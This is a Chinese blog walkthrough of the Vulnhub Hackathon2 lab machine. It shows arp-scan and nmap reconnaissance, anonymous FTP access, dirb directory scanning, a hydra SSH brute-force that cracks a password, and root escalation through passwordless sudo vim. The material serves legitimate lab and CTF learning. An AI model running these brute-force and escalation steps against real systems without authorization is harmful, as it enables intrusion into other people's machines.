抱歉，您的浏览器无法访问本站
本页面需要浏览器支持（启用）JavaScript
了解详情 >

Vulnhub-Hackathon2

发布于：2021年7月24日

记录打靶机（Hackathon2）的过程

信息探测

主机发现

这里使用的是arp-scan进行扫描，因为在使用netdiscover无法成功探测到网段下存活主机，不知道是不是命令使用不正确，后续研究一下。。。

1
2
3
4
5
6
7
8
9
10
11
12
sudo arp-scan 192.168.109.1/24                                             

Interface: eth0, type: EN10MB, MAC: 00:0c:29:d6:59:a7, IPv4: 192.168.109.140
WARNING: host part of 192.168.109.1/24 is non-zero
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.109.1   00:50:56:c0:00:08       VMware, Inc.
192.168.109.2   00:50:56:f0:a1:15       VMware, Inc.
192.168.109.144 00:0c:29:28:21:61       VMware, Inc.
192.168.109.254 00:50:56:f2:84:70       VMware, Inc.

4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 1.934 seconds (132.37 hosts/sec). 4 responded

经arp-scan探测后发现存在192.168.109.144这个IP地址，对此IP地址进行端口扫描，一般会存在80端口

端口扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
nmap -sC -sV -p- 192.168.109.144 

Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-23 23:33 EDT
Nmap scan report for 192.168.109.144
Host is up (0.00020s latency).
Not shown: 65532 closed ports
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r--    1 1000     1000           47 Jun 18 17:32 flag1.txt
|_-rw-r--r--    1 1000     1000          849 Jun 19 05:11 word.dir
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:192.168.109.140
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
| http-robots.txt: 1 disallowed entry 
|_*/
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: hackathon2
7223/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 70:4a:a9:69:c2:d1:68:23:86:bd:85:83:31:ca:80:0c (RSA)
|   256 a6:9e:a4:18:ad:a4:2b:7e:ea:f8:5e:63:29:6e:4f:24 (ECDSA)
|_  256 4e:db:a6:d2:eb:b9:53:a5:d7:21:0b:4e:57:a5:f5:c1 (ED25519)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.09 seconds

nmap扫描后发现存在21（ftp）、80（Apache-httpd）、7223（ssh）三个端口，针对这三个端口有必要进行以下信息收集：

  • ftp（21）端口：
    • 尝试匿名用户登录（anonymous/anonymous）✔
    • 在漏洞数据库搜索相关ftp（vsftpd 3.0.3）版本漏洞 ✗
  • http（80）端口：
    • 可进行目录扫描，爆破出隐藏的目录以及页面 ✔
    • 查看已发现页面的源码，对index.html源码进行查看，无有用信息，因为是靶机，通常页面或者隐藏页面中源码会有一些有用的信息 ✔
  • ssh（7223）端口
    • 在漏洞数据库搜索相关ssh（OpenSSH 8.2p1）版本漏洞 ✗
    • 使用hydra进行爆破，此处需收集用户名、密码 ✔

使用anonymous/anonymous登录ftp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ftp> open 192.168.109.144
Connected to 192.168.109.144.
220 (vsFTPd 3.0.3)
Name (192.168.109.144:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r--    1 1000     1000           47 Jun 18 17:32 flag1.txt
-rw-r--r--    1 1000     1000          849 Jun 19 05:11 word.dir
226 Directory send OK.
ftp>

匿名登录成功后可以看到flag1.txt和word.dir两个文件，猜测word.dir为一个字典文件，看了内容大概率是一个密码字典文件，如果使用其来爆破ssh用户名密码的话，此处还需要用户名， 因为本次靶机使用的ssh版本不存在用户名枚举漏洞，故猜测在80端口页面上可能存在用户名。

进行目录扫描
这里有点问题：在使用dirb进行目录扫描时会发现除了几个通用的页面之外无其他有用信息
Tips：可以使用word.dic为字典文件进行目录扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
dirb http://192.168.109.144/ word.dir 

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Sat Jul 24 01:52:28 2021
URL_BASE: http://192.168.109.144/
WORDLIST_FILES: word.dir

-----------------

GENERATED WORDS: 109                                                           

---- Scanning URL: http://192.168.109.144/ ----
+ http://192.168.109.144/happy (CODE:200|SIZE:110)                                                                               
                                                                                                                                 
-----------------
END_TIME: Sat Jul 24 01:52:28 2021
DOWNLOADED: 109 - FOUND: 1

经扫描后发现存在happy页面，访问后在源码上可发现暴露了一个用户名
upload successful

爆破ssh
整理一下信息，现在在80端口下的happy页面发现用户名，在ftp上发现word.dic字典文件，可以尝试爆破ssh，进一步获取权限

1
2
3
4
5
6
7
8
9
10
11
12
13
hydra -l hackathonll -P word.dir -f -t 20 ssh://192.168.109.144 -s 7223 

Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-07-24 00:16:41
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 20 tasks per 1 server, overall 20 tasks, 110 login tries (l:1/p:110), ~6 tries per task
[DATA] attacking ssh://192.168.109.144:7223/
[7223][ssh] host: 192.168.109.144   login: hackathonll   password: Ti@gO
[STATUS] attack finished for 192.168.109.144 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-07-24 00:16:58

hydra已经爆破出密码：Ti@gO

连接ssh
使用已爆破的用户名、密码进行ssh连接至靶机

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
ssh hackathonll@192.168.109.144 -p 7223                                    

hackathonll@192.168.109.144's password: 
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-74-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sat 24 Jul 2021 07:38:22 AM UTC

  System load:  0.01               Processes:              221
  Usage of /:   24.2% of 18.57GB   Users logged in:        0
  Memory usage: 20%                IPv4 address for ens33: 192.168.109.144
  Swap usage:   0%


67 updates can be installed immediately.
0 of these updates are security updates.
To see these additional updates run: apt list --upgradable


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Sat Jul 24 04:18:07 2021 from 192.168.109.140
$ id
uid=1001(hackathonll) gid=1001(hackathonll) groups=1001(hackathonll)
$

连接成功，但是此时的用户为hackathonll，因此需要进行提权

提权
使用sudo -l查看是否可使用sudo进行提权，发现vim可以不验证密码具备root权限

1
2
3
4
5
6
7
8
sudo -l

Matching Defaults entries for hackathonll on hackathon:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User hackathonll may run the following commands on hackathon:
    (root) NOPASSWD: /usr/bin/vim

上网查过后发现可直接使用vim进行提权，进入vim编辑界面时输入!bash可直接获取root权限
可参考：https://blog.csdn.net/qq_39991837/article/details/118119954

1
2
3
4
5
6
7
8
9
10
11
sudo vim

root@hackathon:/home/hackathonll# id
uid=0(root) gid=0(root) groups=0(root)
root@hackathon:/home/hackathonll# ls
root@hackathon:/home/hackathonll# cd
root@hackathon:~# ls
flag2.txt  snap
root@hackathon:~# cat flag2.txt 
₣Ⱡ₳₲{7e3c118631b68d159d9399bda66fc694}
root@hackathon:~#

至此，Hackathon2靶机渗透完成。。。
done

更新于：2023年3月25日

评论